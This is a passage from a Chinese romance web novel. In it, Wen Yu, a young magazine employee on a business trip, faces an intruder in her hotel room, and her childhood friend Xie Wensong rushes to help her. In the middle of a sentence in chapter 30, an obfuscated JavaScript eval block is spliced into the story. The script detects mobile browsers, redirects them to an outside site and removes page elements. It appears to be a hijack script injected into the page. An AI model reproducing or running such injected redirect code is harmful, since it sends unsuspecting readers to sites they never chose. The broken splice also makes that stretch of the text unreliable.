谢闻颂无奈,不过还是将手机解锁,递给温遇。 温遇接过来一看,里面统共没几个app,就连手机壁纸都是系统相册里的,估计现在把手机壳拿掉人家还以为这是一台新机,直接让她丧失了继续点开的欲望。 蔫头耷脑的她刚要把手机还给谢闻颂,结果又玩起了他的手机挂坠。 她送的那条,已经磨掉漆的挂链。 玩够挂链,温遇像个小孩一样,趴在桌子上呢喃一些他听不懂的话。 什么天上星星能不能流进河里的奇妙话。 谢闻颂就那么坐在桌前看着她大口呼吸鼓起又瘪下去的腮帮,将手边的书又推远了一些。 其实他刚才基本没怎么读,注意力大部分都放在对面,一分钟八百个小动作的温遇身上。 她刚才做了什么他都知道。 他看见温遇品完酒又去花瓶里揪假花叶子,见薅不下来才意识到那是假的。 自我感慨一声开始研究他家桌布的材质,低喃着要不要趁他不注意给偷走。 又看见她无聊了开始刷手机,结果点一个要一个VIP,她生气咕哝几句又把手机扔开。 兜了一个圈,最后终于又把注意力放到他身上了。 温遇趴在桌子上,声音比刚才清楚点。 她一只手搁在桌子上,下意识往前摸,碰到了另一只手。 温遇就那么半趴着,把手搭在谢闻颂的手上。她喝酒,指腹的温度也烫,谢闻颂没抽回手,就任由她的搭在上面。 她说:“谢闻颂,下次红酒里能不能放西瓜。” “不要蒜味的……” 两人一狗的空间里,静得只剩下呼吸,像故事里完整又美好的结局。 谢闻颂用另一只手从包装袋里又拿出个玛芬蛋糕,送到嘴边咬了一口。 视线却从没离开过对面的人。 她从来都不知道,她拜托他任何事情从来都不需要带多少礼物。 只要温遇对他一点点好就够了。 哪怕只是动作很轻的,碰一下他的手。 他心跳就会乱得不像话。 一点点就够了。 一点点好,他就能跟她走。 30.鱼鱼 30/ 飞机升空时,温遇习惯性在嘴里含颗薄荷糖,她坐在最里面靠窗的位置,刚起飞时直接把随身包里的眼罩拿出来拉到眼睛上。 感觉自己睡了很久,实际上温遇醒来的时候才过了不到一个小时。 从南川飞绵安差不多两个小时,此时距离下飞机显然还有段时间。 睡眠中断,她从包里摸出来平板开始n刷《太阳的后裔》,这部剧她熟悉到不管从第几集开始看都能自动接上,脑海自动播放后面的剧情,比平板上正在放送的画面还要快半拍。 里面的男主有个代号叫“big boss”,译为“大老板”。 温遇第一遍看的时候还觉得有点夸张,那会儿出于青春期的羞耻心,她正对玛丽苏偶像剧和小说深恶痛绝,这部剧的出现对她有种特别的治愈,温遇现在想想这个代号还挺帅的。 医生和军人的组合,温遇因为谢闻颂外公的原因,还在想他以后会不会也成为一名医生。 后来自然是没有,她也就没再往那方面想。 发现自己想偏了,温遇把注意力放到平板上。 手机挂成飞行模式,看剧的时间过得很快,从机场出来,几个人拼了辆车先奔酒店放行李。 这次跟的前辈她都不太熟悉,不过温遇并不担心,简单和几个人沟通之后倒也很快熟悉他们之后的安排。 他们是下午到的飞机,第二天才有工作任务,温遇去酒店放完行李,简单收拾了下就直奔当地的文化商业街。 不仅是因为程以桉让她帮忙带特产,温遇本身也是个比较喜欢四处蹦跶的人。 大学四年里,她也给自己列了不少旅游计划,虽然兜兜转转只完成了一半。 来之前做了攻略,温遇游走在文化街的小店里,试图通过购物感受当地的风土人情。 她有个习惯,就是每到一个新地方都会先去买有当地特色标志的冰箱贴,但买回家后又不舍得贴,这么多年来,已经攒了一盒子。 之前徐翩禾从那里面拿了一个逗温途玩,结果后来不知道怎么就丢了,温遇还因为这个难过了小一段时间来着。 因为那个是她在国外买的,磕破了一个角她都会心疼。 这次一个样式的多买了几个,温遇寻思给程以桉带点。 绵安本地没什么可以带回去的美食,她也只能从这些城市小周边下手。 找了家人不多的面条馆,某评上显示这家是当地的网红餐厅,温遇坐在室外,从她点完餐到坐下上菜不超过五分钟,这速度令人忍不住咂舌。 照旧是手机先吃,她po了张图发朋友圈,角度背景和面的色泽都相当完美。 刚发完就有人秒赞。 温遇用筷子挑起面条,咬了一口。 面上的表情有一瞬间凝固。 要是谢闻颂坐在她对面,一下就能看出温遇头顶隐形的兔耳朵在品尝第一口的时候就耷拉了下来。 果然不该对网红店抱有太高的滤镜。 怪不得人不多。 秉持着不浪费粮食的原则,温遇勉强把面条吃完,开始回朋友圈积攒的消息。 不出意外,程以桉问她味道怎么样。 温遇回复她:如果难吃是一种艺术,那么创作它的人一定是抽象派大师。 她把踩雷说得幽默,有共友看见她的这条回复连发了几条哈哈哈。 温遇倒不怎么在意,她一贯这方面上情绪淡,就比如现在即使踩雷,也不会太影响她对接下来探店的心情。 有朋友问她这碗面的味道,她也只会回复这一句,多了便不再说,有种“报喜不报忧”的成分。 更何况,她并不觉得这小小插曲算得上什么“忧”。 这个不好吃就找继续找好吃的东西,总不能一直踩雷下去吧。 和温遇待在一起,情绪价值总是会拉得很满,你从来不用担心她给不了你什么反馈。 属于她遇到难过的事还没等你安慰她就自愈好了,最后还要她来劝导你,不要因为她的事影响心情。 别人安慰和关心好像总是慢她一步。 跟这样的人相处起来总是感觉很梦幻。 刚才的事已经过去,温遇继续沿着商业文化街走,挑挑拣拣又买了点东西才回酒店。 那一碗面她没太吃饱,回程的路上又点了外卖,结果她去前台取的时候被告知有两份。 酒店前台说还有一份也是她的名字和电话,确认这是一个人点的外卖。 她疑惑接过来,发现打包袋里有红豆双皮奶、蓝莓奶酪和桂花酒酿小圆子,目光挪至小票上的备注。 【南川尤物送你的能量补给,请签收。】 “……” 本该那晚在医院死去的回忆突然攻击她。 温遇严重怀疑这四个字是不是给谢闻颂夸爽了。 要不然他怎么把这四个字挂在嘴边。 跟多大的荣誉似的。 指尖挑起两个袋子的提绳,温遇往电梯走。默默在心里说。 谢闻颂应该改名叫谢孔雀才对。 - 第二天早上温遇订了闹钟,跟着团队一起前往品牌方的总部。 这次的品牌方和Mentha有短暂合作,对方公司的主要业务是珠宝设计和制作。 设计这方面是个大类,下面细分就属于个人的术业专攻了,温遇略懂但绝对不算专业,坐在角落里默默拿个笔记本记,存在感基本为零。 会议室挺大,装潢也属于简约风,温遇结束上一阶段记录,视线投注到角落里的一盆装饰绿植上,突然在想她家里的那几盆在谢闻颂那儿还适不适应。 走之前她找时间把阳台绿植架上的花花草草都挪到谢闻颂那儿了。 他家阳台要更大一些,但因为太过空旷,温遇站在那说什么话都能感觉到有回声。 当时她还问他怎么不买一些装饰搁在阳台上。 谢闻颂让她举例子。 温遇想了想说,这不是也快到年末了,可以买棵圣诞树放阳台上,冬天夜晚把小灯串点亮,会很好看。 她说完就后悔了,因为自己肯定不会买,毕竟太占地方了。 而谢闻颂也只是很轻笑了声,并没说什么。 见会议陷入中场休息阶段,温遇悄悄从口袋里翻出手机,习惯性点进和谢闻颂的聊天框,手指却因为僵硬而停顿下来。 聊天记录还在昨天,结束在她拿到双皮奶对他说的那句谢谢。 指尖停留在屏幕上,温遇却一个字都没打。 鬼使神差的,她给谢闻颂改了个备注。 【Bigboss】 只不过是限定版。 看在他帮忙照顾那几盆花和双皮奶上。 温遇决定悄悄给他个优待。 …… 晚上有饭局,温遇跟着法务部的一个姐姐一起去,中午两个人一起在外面吃的午饭,小姐姐老家是余杭的,而她正好是在那边读的大学。 找到了话匣子,一个中午就能让两个女生关系拉近好些,下午聚餐前,两个人已经加上微信互相发了不少绵安的好店推荐。 温遇本以为晚上那顿是部门聚餐,衣服都没换,到包厢才发现里面还有几位上午见过的品牌方那边的人。 她妆也没画,素面朝天地就去了。 她和法务姐姐坐在一起,全程安静如鸡地往碗里夹菜,不言语不多话,只管认真干饭。 饭到中程,温遇也没想到坐得离自己最远的人会点自己。 对方貌似是品牌方的一个主管,她上午听他说的废话最多,会议一个小时他得讲四十分钟的道理还没步入正题。 合作大于一切,他们这边的人也不好发作,只能维持一副标准微笑耐下心听,不时还得给他提供点情绪价值。 不然她也不会轻易走神点进和谢闻颂的聊天框,还有时间给他改备注。 谁能想到跑这老远不是来学习的,而是来听教育的。 比她们平时开的组会还要注水严重。 满面红光的主管往回收了收肚子,扬起抹笑:“对面那个小姑娘,对今天会议上的主题有什么想法?” 温遇放慢咀嚼动作,看了他一眼,实在没法从脑海里拽出一个词形容他高度注水的会议。 如果可以,她甚至想对他翻个白眼。 同社的前辈以为是小姑娘突然被cue不知所措,心里感慨了句还是太年轻。饭桌上气氛还算热闹,几个人嘻嘻哈哈着把这个问题糊弄过去了。 温遇仍旧埋头吃自己的饭,只是时不时能感觉到对面黏腻的目光三番两次扫过来,让她瞬间没了胃口,勉强撑到饭局结束。 聚餐的位置离酒店不远,温遇决定步行回去,就当消食。 结果还没开始消食,肚子就开始叫。 这种饭局上根本吃不了多少东西,结束之后胃也仿佛被一键清空,温遇打算在附近的便利店买点东西打包回酒店吃。 便利店旁边还有小摊在做拇指生煎,味道闻起来相当不错,她打包了二十个,寻思一会儿分给同楼层的法务姐姐。 对着老板娘手下的煎锅来了个特写,温遇把照片发给谢闻颂。 小鱼丸了:我这次是真的吃到生煎了。 对方明显在线,直接秒回。 温遇瞄到备注,指尖在风中抖了一下。 Bigboss:嗯,看起来不错。 Bigboss:希望尝起来也不错。 刚才没翻的白眼被温遇拖到现在,隔着屏幕来了一个。 她就知道昨天的朋友圈他肯定也看到了。 要不然也不会突然来这么一句。 不管味道是不是真的好,温遇还是要嘴硬一下:我刚尝了,相当好吃。 对面还是一个冷漠的嗯。 温遇看了眼这个字,又瞅了眼他的新备注。 怎么感觉谢闻颂角色适应的这么快,明明他看不见新备注才对。 正当她准备结束对话的时候,某人又来消息了。 备注自带压迫感,她想忽略都不行。 Bigboss:一会到酒店视频一下,给你看眼阳台上的花。 Bigboss:免得你回来说我虐待它们。 …… 等回到酒店,温遇第一时间是敲同楼层法务姐姐的门,把打包好的生煎递过去,对方揉了揉她的脸,让开门口的位置,问要不要进来坐坐。 温遇想了想还是拒绝了,毕竟她还惦记着自己那几盆花,只是说下次。 走到门口的时候给谢闻颂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085278|141880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发了消息,她刚进屋外套还没脱,对面的视频电话已经打过来。 温遇接通,视频加载几秒,对面那张顶着微潮湿发的脸出现在屏幕中间。 谢闻颂没说话,只是略过性地扫她一眼,神态随意慵懒。 晦暗的光线半遮半掩出对面人的轮廓,镜头还没对准阳台的位置,温遇敏锐听到门口滴的一声响动。 她后背瞬间僵直,脑中警惕的声音一下子响起,因为这声音她很熟悉。 每次用房卡刷酒店门的时候,都能听见“滴”一声。 谢闻颂明显发觉她神色不对,刚想开口,温遇朝他比了个“嘘”的手势。 那头的谢闻颂似乎也意识到什么,面上的表情瞬间凝重,他很轻地点了下头,同时快步往桌边走。 温遇贴着墙边往门口处看去,只见一个男人臃肿的身体已经从外面挪进来。 明显刚才是用房卡刷开了门。 心猛然一沉,温遇几乎是瞬间掌心就冒了汗,黏在屏幕上。 熟悉的轮廓,温遇认出来了那人是谁,不正是餐桌上要她说想法的那位主管。 挎包就放在床头柜上,温遇一遍往那边挪一边让自己尽量保持冷静。 “你是怎么进来的?” 尽管她尽量压平语调,可心脏还是越跳越快,这种神经紧绷的情况下,做任何事情都极容易脱离自己的掌控。 她余光瞥见手机屏幕里的谢闻颂身形一顿。 对面男人笑了声,并没有继续往前的意思,只是从裤兜里摸出烟盒点了根:“你别紧张,我也没有别的意思,只是想找你聊聊天。” 慢悠悠说完这话,对方不紧不慢用视线把她从头扫到尾,比餐桌上的目光还黏腻,增添了毫不掩饰的直白。 温遇压下强烈的呕吐感,反问:“那你什么意思?” “你们这行,出头挺不容易的吧,每月拿着那点塞牙缝都不够的工资。” 他吞云吐雾,气味呛人恶心:“我听说你是今年新来的,你们这年纪的小女孩,也就能吃几年青春饭,过了几年哪儿还有什么赚钱的机会。” “不过,你现在还有一个。” “就看你能不能抓住了。” 他说完,忽然笑起来,往前走几步,目光在温遇的脸上逡巡,毫不客气地打量。 温遇也没想到这次出差竟然能遇上这么恶心的事。 她稍微松了松握手机等力道,刚才挪到床边,她手里已经拿了个平时拆快递用的小刀,另一只手握紧手机,屏幕还在亮着,怕他注意到,只能朝向自己。 高度紧张也让她用力没有深浅,现在松下一点都疼。 但是现在不能纠结疼与不疼的问题。 温遇不说话,只是看着对面的人,时刻注意他是不是有靠近的趋势。 这个时候保持沉默是她暂时想出来的方法,体力相差悬殊,激怒他绝对不是好选择。 温遇稍微往后退了一步,被他一个抬眼发现。 中年男人耐心似乎也有限,啧了一声,直接将烟头甩在地上,“不是你他妈——” “砰砰——” 酒店房门被人从外面敲响。 从刚才就紧绷的心脏松了一股劲。 温遇以为他会怕,结果他并没有什么表情,甚至回头看她时还能露出一抹冰冷的笑,用口型和她说:你以为我是怎么拿到卡的? 温遇心尖凉了半截,瞬间反应过来他说这话的原因,那男人走过去拉开房门,酒店安保立刻进来,视线在他们两人身上看了一眼。 “刚才前台接到信息,说1220房间有陌生人闯入。” 主管偏头,似笑非笑看向温遇。 刚才那句话明显是挑衅,告诉她之所以拿到卡是因为他在酒店里有人,至少是相当有分量的人,可以查到客户信息,甚至能拿到卡。 他在压她,或者说,在警告她。 温遇心里涌起一股火气,当今法制社会,竟也有这样的人渣猖獗,把以权压人放在明面上。 手心的汗越出越多,她知道屏幕那头的谢闻颂肯定也能听见这番话。 可不知道为什么,温遇总感觉他现在就站在自己的身后,仿佛在告诉她,你要怎么样做,我都会在。 不知怎么的,她突然想起自己上次钱没要回来的时,程以桉和她说的那句话:“你家竹马比你想的本事还要大,找他没什么问题。你们俩之间,帮与不帮纯看你说不说。” 说完她也笑了,慢条斯理把脸上面膜撕下来:“也是,就算你不说,他应该也会知道,然后在你还在烦恼的时候就帮你解决了。” “谢闻颂,本事大着呢。” “所以你也别太小看他,觉得麻烦就不主动开口。” “他那个傲娇劲,要听到你主动说,还不得爽死,这事不能解决也得解决。” 心率逐渐趋于正常值,温遇整个人瞬间静下来。 脑海那么多纷乱的思绪,她只剩下了那个一时兴起的备注。 然后在心中默念他的名字。 心跳乱了一拍,瞬间杂乱无章在耳边响彻。 刚才的慌乱和紧张少了大半,温遇有了底气,眼神恢复冷静,看向酒店安保,一字一顿。 “是。” “我要报警。” 31.鱼鱼 31/ 温遇没想到她的录音没存上,点开的时候里面全是白噪声,她想可能和同时视频聊天有关系。 没有具体两个人对话的声音,这自然不能作为证据。 双方陈词不同,事情还没解决,警方先要留两个人在这。 法务姐姐当时听见她门口动静就出来了,担心她一个人这么晚出来没人陪着便也来了,和温遇一起来到警局才知前因后果。 迟若馨没想到温遇能遇上这么让人胆寒的事,只听简单叙述都觉得心惊胆战,更何况她还只是个刚毕业的小姑娘。 当时那场景,都容易吓哭。 她想着先安抚温遇的情绪,结果后者比她想象中的平静很多,仿佛遇到这样遭遇的人不是自己。 白炽灯下,温遇坐在椅子上,收到了谢闻颂发来的视频和定位。 视频是当时他们之间微信通话的录屏,记录了全程酒店房间里的对话,由于事情发生到现在时间并不长,录音可以证实具备有效性。 定位是他共享的实时位置,地点显示南川国际机场,告诉温遇他在从南川赶来的路上。 又是一条消息戳进对话框,一张图片,航班班次的显示截图,两个小时左右他就能到绵安。 最后还有一句话。 Bigboss:别怕,我在。 凌晨时分,外面开始起风,玻璃被吹着发出响动,温遇坐在冰凉的铁椅上,被白炽光打得发涩的双眼将屏幕上的留言扫了一遍又一遍,不发一言。 迟若馨坐在她旁边,见温遇这个表情,以为是刚才的恐慌后知后觉这时来了,伸出手轻拍她的背:“你别担心,出了这种事,社里肯定会管的……” 温遇其实并不是怕,她只是看到谢闻颂的那几条消息,心里有种说不出的堵。 可能是因为关系确实好,又或许是因为不能总让他一个人帮忙,所以她会愧疚。 不管是多好的关系,都会愧疚。 这种堵的感觉从她报警那一刻开始来临,所有的勇气都仿佛被抽走,留下她一个空的躯壳。 她看到谢闻颂发来的航班信息,突然开始茫然,心房破了个洞,窗外的风仿佛能透进心里。 迟若馨一直陪她坐在走廊里,等到工作人员需要问话,她再陪温遇进去。 凌晨两点半,城市已经陷入酣睡,温遇折腾了一天,休息的时候眼皮也开始打架,一点多的时候她让迟若馨先回去了,她记得她第二天还有工作要忙。 谢闻颂过来的话,这边问题能好解决一些,她也有自己的私心,并不想让杂志社的人知道自己和谢闻颂的关系。 尤其最近,周围的同事应该对这张脸还挺敏感的。 谁让谢孔雀走到那儿自带招摇,根本不需要多余表现什么就能引起注目。 冰凉的一排椅子上又只剩下自己,温遇去隔壁便利店买了瓶冰水试图让自己保持清醒,嘴里含一口,顺着食道凉了一路。 塑料水瓶被她捏得发出轻微响动,她微弓着背闭上眼,实在有些干涩。 闭上眼的后遗症就是那股蛰伏的困劲像气泡水里的二氧化碳一样不断向上涌,温遇也不知道什么时候,头重如铅球,下坠瞬间仿佛被人轻轻接了一下。 她有些茫然睁开眼,顶着白光看到了那张熟悉的脸。 谢闻颂真的来了。 那一瞬间她在想什么呢? 她怀疑,自己现在正经历的一切,是不是一场幻镜。 夜里秋霜露重,谢闻颂深色的外套似乎都裹了层很薄的水光。 他身后跟个穿西服的男人,谢闻颂和他交换眼神,后者向温遇示意之后往里面走。 是他带来的律师。 从晚上一直紧绷的神经到这时才算真正放松,温遇仰头看他,张了张口最后还是先保持沉默。 她很少有这么说不出来话的时候。 甚至连注视都是单一的。 谢闻颂什么也没说,只是坐到她旁边,温遇视线往下垂,不动声色挪到他那边,正好看到他放在双膝上的手摊开又蜷起。 这样的小动作一般都代表他有话想说,但还在斟酌或者犹豫不决。 其实谢闻颂了解她,她又何尝不是。 可温遇总是不想刨根问底,试图将这份了解有所保留,所以并不刨彻底。 应该是高中那回问他有没有女朋友留下的后遗症。 慢慢温遇也在想,哪怕是关系再好的朋友,在某些问题上也要注意分寸,后来索性所有半句的答案,她都自动过滤。 所以很多事情,她或许看到一点边际,却不曾主动问过。 好像也因为这个原因,多走很多弯路。 又过了几分钟,刚才和谢闻颂一起过来的男人从办公室走出,和他说了句:“可以走了。” 然后律师看向温遇:“温小姐,后续的事情谢先生已经全权委托我去解决了,如果这边有别的问题需要您配合,我会再联系谢先生。” 肩膀上压的那块沉重石头终于落地,温遇道声谢谢。一转身,旁边的谢闻颂不知什么时候,已经从随身携带的行李箱里拿出一件毛衣外套递给她:“穿上就走吧。” 刚才外面的大风她也听见了,要是现在直接往外走,肯定会着凉。 温遇接过来套在身上,趁某人没注意,她把领口提到鼻间,有种松木熏香的味道。走到门口,夜里湿漉漉的冷气直往身上撞,她没忍住打了个喷嚏,将外套裹紧了点。 谢闻颂打的车就停在门口,车上开了暖风,温遇迷迷糊糊又想睡,每次头要磕到前面座位的时候又被他的掌心给挡了回来。 等困意稍微消散了点,温遇往车窗外看,停在她这几天住的酒店门外。 谢闻颂活动下肩膀,“先去收拾一下上面的东西,我们换个地方住。” 就这样,温遇又被他领着上了楼。 她东西少,不到二十分钟就已经全部收拾干净。 滑轮滚在木质地板上发出声音,温遇把行李箱往外推的时候,见谢闻颂双手交叉在胸前,正靠在门口。 他微垂着头,额发挡在眼前,温遇动作放轻,往前凑近了点,要稍微仰点头才能看清他的脸。 她这才发现谢闻颂闭着眼,睫毛齐刷刷排成一排,伴随呼吸节律很轻地在动。 一晚上没休息,他果然也困了。 目光还未来得及收回,眼前人已经睁开眼睛。 谢闻颂察觉面前有人凑过来的气息,睁开眼,正和面前比他低半个头的兔子撞上。 温遇也没料到正想往后撤的时候他率先睁开眼,有种做错事被当场抓包的尴尬,不自然地往后挪挪脚步:“我收拾好了。” 谢闻颂什么也没问,顺手把她旁边的行李箱拎过来,甚至还能很轻松似的往上提了提,“走吧。” 酒店楼下的车还是刚才那辆,司机也没想到因为失眠出来工作会,还能碰上个大单。 刚出来那会儿,想到下个月小孩的学费,没憋住在车里抽了口烟,从机场接到谢闻颂的订单后,对方问他能不能把副驾驶的窗户打开,还说一会要去接人,让他先不要在车里抽烟。 那是个年轻男人,刚上车的时候看起来心情不太好,他瞅着不太好惹,答应下来。 到警察局外面,谢闻颂下车的时候单独给了他一笔钱,司机手里拿着钞票,看他被凉风吹红的鼻尖,一时间不知道该说什么。 今天风大,他也知道很冷。 所以说开窗户也只是要求开他那一边。 司机大叔心底五味杂陈,等看见走在他身后的女生,已过中年的他似乎终于明白了什么。 嘴里抑制烟瘾的薄荷糖被“咔嚓”一下咬碎。 脆得生动。 …… 谢闻颂新找的酒店是绵安本地唯一的六星级酒店,位于城中心,在周围一片商圈的灯光掩映下仍不失光芒,酒店门口前方的喷泉还亮着灯,温遇从地面往上看只感觉楼顶高耸入云,完全摸不到尽头。 一股金钱的味道。 从办理入住到上楼不超过一刻钟,谢闻颂刷开房门,给温遇撑开厚重的门板。 从刚上车的瞌睡打到现在,温遇勉强在房间里走了一圈,果然比她昨天住的高出不止一个档次。 走到落地窗前,温遇俯瞰城市夜景,已经是后半夜,周围有几座写字楼还在亮灯,立交桥矗立的高杆灯和车灯混在一起,构成条彩色的灯带。 蛮漂亮的。 谢闻颂已经把外衣脱掉,用自己带的热水壶烧了点水,回来见温遇还在看夜景,稍停了会才说:“去休息吧。” 一杯热水被他放在床头等待晾凉。 温遇点点头,从行李箱翻出套睡觉的衣服换上,又洗了把脸才趴进被窝。 累得连澡都没洗。 床头灯没开,谢闻颂起身把窗帘拉好,屋内霎时一片漆黑。 伸手不见五指的黑里,温遇声音很轻:“你不睡觉吗?” 旁边还有张空床。 “你先睡吧,我不困。” 温遇沉默两秒,就连反驳也是轻的:“你骗人。” “刚才在门口,你倚在墙上都睡着了。” 站在黑暗里的人笑了声,温遇听见有拖椅子的声音,谢闻颂开口:“你怎么知道我睡着了?” 疲惫感霸占思绪,还没等她回答,谢闻颂接着说:“我要是真睡着了,还能感觉到你凑到我眼前来?” “你——”温遇哽住,蹩脚地找了个借口:“我只是想知道你用的是什么牌子的睫毛生长水……” 这样回答也奇怪。 兜兜转转还是在夸他。 感觉自己像个痴汉。 “其实你刚才脸上站了只蚊子……” 借口越编越离谱。 温遇选择默默闭嘴。 谢闻颂嗤了声,语气慢悠悠地截停住她的话:“温鱼鱼,承认一直盯着我看并不羞耻。” “要不是我把你的眼睛养得这么刁,你现在盯着的人都不能是我了。” “……” 这人怎么这么烦。 总是能一键清空她的好感度。 温遇把被子拉到头顶,又因为太闷往下拽一点,决定自己要认真入睡,绝对不和谢闻颂打岔。 她一向对自己的口才有信心,直到遇见 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“这时间比刚才你看我的时候要长。”他将手垂下,语气带着挑衅似的问她,“所以,丢人吗?” “什么丢人?”温遇慢半拍。 “一直盯着我看,丢人吗?” 谢闻颂精准补刀,撤回撑在墙上的手:“还羞耻到不敢承认。” “……” 温遇猛地一下把被子重新拉到头顶。 谁想和他讨论这个问题啊。 这人有没有点边界感。 趴在床头互相用眼神争斗一分钟,原因竟然是因为半个世纪前的问题。 无不无聊。 “不逗你了,休息吧。”谢闻颂弯下身伸手在她的被子上拍两下,“别憋出病了。” 他象征性地安抚一下,随即二次补刀:“就算心里羞耻,也不能以伤害身体作为代价。” 这次温遇隔着被子转身,像个放大版蚕蛹在被子里滚了圈,将后背留给站在她床头的人。 谁羞耻了? 反正不是她。 …… 再醒来的时候,温遇下意识往窗边看,窗帘紧闭,辨不清具体时间。 酒店窗帘的遮光性一向非常好,完全拉上时外面的光一点也漏不进来。 四周漆黑又静悄,温遇闭着眼,试图在枕头边摸到手机。 指尖刚抬起,便触碰到微凉的皮肤。 她吓了一跳,立刻睁开眼,手放在床边没动,这才看见趴在窄桌上的谢闻颂。 房间里有个移动小桌,她刚进来的时候也留意到,只是桌面空间不大,更别提适不适合睡觉了。 他漆黑的发顶正对着她,一只手纵放在桌面上垫在脸侧,另一只手顺着桌边垂落到床上,掌心向下,手指尖搭在她的手指上。 她摊手,他扣手。 几分错落,几分重合。 几分温热,几分微凉。 温遇重新仰躺到床上,指尖往上一勾,刚好能把他的手指攥住,指缝互相填满,将缝隙挤压只剩滞涩的摩擦。 黑暗中只有他们指尖相触,温遇视线受阻,其他感官会成指数倍放大,此时指尖的触感会成为唯一联通外界的通道。 谢闻颂的手要比她凉,手指间细小摩擦好像让指缝间的温度上升了些。 他的手为什么会这么凉。 是不是没盖被的原因。 温遇正奇怪着,掌心收拢将他的手指包裹起来,手掌心的温度不声不响渡过去,像黑白油画添上暖色调。 她想到半夜那几条消息,虽然没直白说,但没有一条不再说让她别担心、别紧张。 他总是用自己的方式,让她放松。 而偏偏他的方式是迁就她过后的。 所以这是她一直以来认为的默契吗? 她总觉得有哪里不太对。 当两个人手上的温度几乎同温时,温遇突然反应过来自己刚才到底在做什么。 理智重新关回兽笼,手上的力道一下子泄开,温遇刚想从他那把自己的手抽离出来,谢闻颂忽然反扣住她的手腕。 温遇呼吸都慢了一拍,谢闻颂单手攥着她,另一只手向前伸打开床头灯。 短暂小憩后的惺忪做不得假,他甚至连脸侧都因为袖子的缝线而硌出红印,只是眼神却很清明,表示他并不是对刚才发生的事一无所知。 谢闻颂单手握住她伶瘦手腕,眼神不躲不避,有种意外的认真:“说一直盯着我不敢承认,那这次牵手呢?” 他笑:“要不你直接承认,我就当作刚才什么都没发生,怎么样。” “别总说我欺负你,这次给你一个抵赖的机会?” 谢闻颂单手圈着她手腕,力道很轻,温遇甚至感觉不用什么力气就能抽离开,可是她没有。 温遇回视他,似乎也在很认真地想这个问题。 床头壁灯光线陈旧温柔,和她的声音一样。 “那就当是你把我的眼睛养刁了吧。” 32.鱼鱼 32/ 温遇做了场颠三倒四的梦,不愿仔细精确回想到帧,加上睡觉出了汗,醒之后拿新的衣服直奔浴室。 两个人刚才的对话就好像没发生过。 彼此默契不再提,只道刚刚也已是过去时。 谢闻颂则仰躺在那张新床上,听见隔壁浴室的水声,他举起那只刚才被温遇拢在掌心的手,眼神像隐形的素戒圈在指底,上面的温度早已消散。他却抚过被她碰过的位置,仿佛仍有余温。 心尖像有片片羽毛悬浮,然后被突然刮进来的风掀了满天。 片片白色里,他看见自己越走越近的那颗心。 他忽然想。 谢闻颂,你真是没救了。 将酒店房门带上,谢闻颂随意披了件外套往楼下走,在电梯里,他接到岳洲的电话。 岳洲还在警局处理事务,这会儿也应该是因为这事才打来的电话。 岳洲也是在南大读的书,只是他俩并不是在学校里认识的,只是一次恰好的法务合作,有过短暂的交集。 昨晚温遇这边出事以后,他就联系岳洲,问他方不方便和自己连夜去一趟绵安。 他出乎意料的是,后者在听完他的话之后,答应得很爽快。 因为事情紧急,谢闻颂也没追问他原因,两个人就这么匆匆在机场会合往这边赶。 岳洲在电话里说对面挺难缠,试图逃脱罪责,并且否认录音的真实性,要求提供其他证据。 简单把情况介绍下,话到最后,岳洲说他能解决,对方现在做的都在他意料内。 有谢闻颂这边的帮助,岳洲估计今天就能拿到监控。 电话这头的谢闻颂一路沉默到最后,岳洲讲话的同时他早已走出酒店,走到最近的公交站。 早晨正是人流多的时候,他站到最角落的位置避免被人挤到,身边来来回回上车下车的人成为他身后虚焦的背景板。 风挺冷的,谢闻颂微垂着头,脸上没什么表情,扣住手机的指关节都有点发红。 他一直等到最后,听筒那边说完话。 谢闻颂仰头,刚好捕捉到云层间泄漏的一缕光。 又是新的一天了。 他的眼睛也有点发涩,一晚上没怎么睡,现在竟也没什么困意。 谢闻颂想起视频通话那头的温遇,其实这么多年,他很少见到她有害怕的时候。 就连当时害怕被徐姨发现,自己抱了只受伤的小猫回家,也是一副大义凛然的模样。 其实心底怕得要死,面上还是强撑不被人发现,哪怕是在他面前。 为了这只小猫作业一点没写,还几乎花掉手头所有的零花钱给它治病。 他和她一起去的,只可惜花光钱也没救过来,温遇顶着哭红的眼睛回家,谢闻颂借她件外套裹在头上,两人进门,一路假装打闹,这才瞒过了徐翩禾。 谁能想到,门刚关上,她的眼泪又开始啪嗒啪嗒掉,全都洇在了谢闻颂的校服上。 那是他第一次知道,少女的眼泪,原来可以像一条河一样不停地流。 再比如很多女生都怕虫,可是她不怕,从小就敢徒手捉。 体育课上碰见别的女孩校服上爬了虫子,温遇总是能顶着身边人的尖叫很快帮她拿下来,然后动作熟稔地扔在一旁的草垛里,摸摸她的头发说没事。 比很多男生都厉害。 谢闻颂想给她竖个大拇指。 可是那天,她说话的尾音都带着抖。 谢闻颂不敢想,不敢想如果自己不知道昨晚的事情,没有及时赶过来,她一个人要怎么面对。 她的勇敢,她的坚韧从来不需要他去否认什么,但他也知道,温遇她不是什么都不怕。 谢闻颂很怕的就是,这样的时候,他不在她身边。 温遇以前问他,好奇又崇拜:“谢闻颂,我怎么感觉你什么也不怕啊?” 不怕她学起来费劲的数学,不怕老师课上突然的默写,不怕体育课临时通知的体能训练。 他仿佛不怕任何能让温遇紧张起来的事情。 但谢闻颂其实想说。 有的。 他也有害怕的东西。 可是比拥有你,更让我在意的,是你过得好不好。 我害怕你过得不好。 所以总想着,能通过各种方式离你再近一些。 谢闻颂也想过,如果真的有那么一天,他们的交集就停在这,温遇会奔向新的人,如果她真的快乐,那么他步停目送也不是不可以。 只是他总是舍不得,甚至连这样想,都不敢多一分。 于是长久地陷在这样的矛盾里。 现在谢闻颂觉得。 他好像还是不放心,把她交给除了自己以外的人。 可是他,好像不管做什么,不管怎么做,还是没办法成为她最亲近的那个人。 他也很难过,但是他更不舍得让她难过。 心情像陡然咬开一颗柠檬籽,酸意未去,苦涩尽来。 岳洲以为他走神,喊了句。 谢闻颂回神,想到那天闯入房间的人,声音顿时冷下来。 